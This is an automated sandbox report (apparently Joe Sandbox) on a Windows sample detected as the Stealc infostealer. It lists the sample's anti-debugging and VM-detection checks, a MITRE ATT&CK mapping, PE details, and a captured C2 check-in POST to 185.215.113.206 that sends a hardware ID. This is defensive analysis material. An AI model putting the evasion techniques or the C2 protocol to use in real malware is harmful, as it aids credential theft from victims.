Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BADB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BADB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BB3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BB4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00BAEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BABE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BABE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BADF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BADF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA1160 GetSystemInfo,ExitProcess,

0_2_00BA1160

Source: file.exe, file.exe, 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2176326944.0000000001365000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2176326944.0000000001333000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2176326944.0000000001365000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37925
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37922
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37810
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37937
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37945
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37977

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA4610 VirtualProtect ?,00000004,00000100,00000000

0_2_00BA4610

Source: C:\Users\user\Desktop\file.exe

0_2_00BB9BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB9AA0 mov eax, dword ptr fs:[00000030h]

0_2_00BB9AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00BB7690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6644, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00BB9790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00BB98E0

Source: file.exe, file.exe, 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: QProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BE75A8 cpuid

0_2_00BE75A8

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00BB7D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB6BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00BB6BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00BB79E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00BB7BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2131533461.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2131533461.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php/2	file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php3	file.exe, 00000000.00000002.2176326944.000000000134A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php.	file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/	file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/:U	file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2131533461.00000000052FB000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544952
Start date and time:	2024-10-29 22:12:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 127
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.960426913773684
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'094'592 bytes
MD5:	31c844530d857c4266248543c40284cc
SHA1:	97f7aae6867695e025abdc5e1a7d446d7c5b875f
SHA256:	81ccbbfcfd5e8991632a16d6b4d28b36ef74409773b3e5622cf58cf43638ce07
SHA512:	8ea1e7b81251c07032a4d78eff745f316e7b9a28ca3e003de63ed4190589d85f8f25ae512e0f4f95b5388d92ed38da954c517b996c381f51c237a437123a482f
SSDEEP:	49152:/nNForSjuTyy880u4Ld2ZxkryOFAMsfcCNxvBdVl46Pu:/nNCrSjUvUuxEAMBSrVP
TLSH:	04A533F31C2644F1DC9549779DE30960A06DB9A2AF2DBF2E322F9620581F8C25B2D5F4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb13000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB4750BBD9Ah
paddq mm3, qword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	25dd4da1d7f8149948dea8d367c2405f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x293000	0x200	f0329b65f021e05372719b90c77ef9d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fvvfrivq	0x57d000	0x195000	0x194400	294176fbe60172a9835ca56b7313ff57	False	0.9949130575525664	data	7.9536048042194505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fjsconsa	0x712000	0x1000	0x600	47731b5350d27b88bd414222d3dcf93b	False	0.5852864583333334	data	5.100438224541122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x713000	0x3000	0x2200	347fee62de20c458585ee27470a327ce	False	0.062270220588235295	DOS executable (COM)	0.8132786838728902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T22:13:18.983215+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 22:13:17.748547077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:17.754158974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 22:13:17.754235983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:17.754535913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:17.760410070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 22:13:18.686731100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 22:13:18.686932087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:18.691016912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:18.696372032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 22:13:18.983040094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 22:13:18.983215094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 22:13:21.172844887 CET	49704	80	192.168.2.5	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6644	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 22:13:17.754535913 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 22:13:18.686731100 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 21:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 22:13:18.691016912 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 42 35 43 31 32 46 35 37 35 33 37 39 39 36 32 31 31 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="hwid"6BBB5C12F5753799621165------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="build"tale------FHCGCFHDHIIIDGCAAEGD--
Oct 29, 2024 22:13:18.983040094 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 21:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	17:13:13
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xba0000
File size:	2'094'592 bytes
MD5 hash:	31C844530D857C4266248543C40284CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2131533461.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 00BB9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01301358), ref: 00BB9BF1
GetProcAddress.KERNEL32(75900000,01301208), ref: 00BB9C0A
GetProcAddress.KERNEL32(75900000,01301250), ref: 00BB9C22
GetProcAddress.KERNEL32(75900000,01301130), ref: 00BB9C3A
GetProcAddress.KERNEL32(75900000,013011D8), ref: 00BB9C53
GetProcAddress.KERNEL32(75900000,01309548), ref: 00BB9C6B
GetProcAddress.KERNEL32(75900000,012F6E68), ref: 00BB9C83
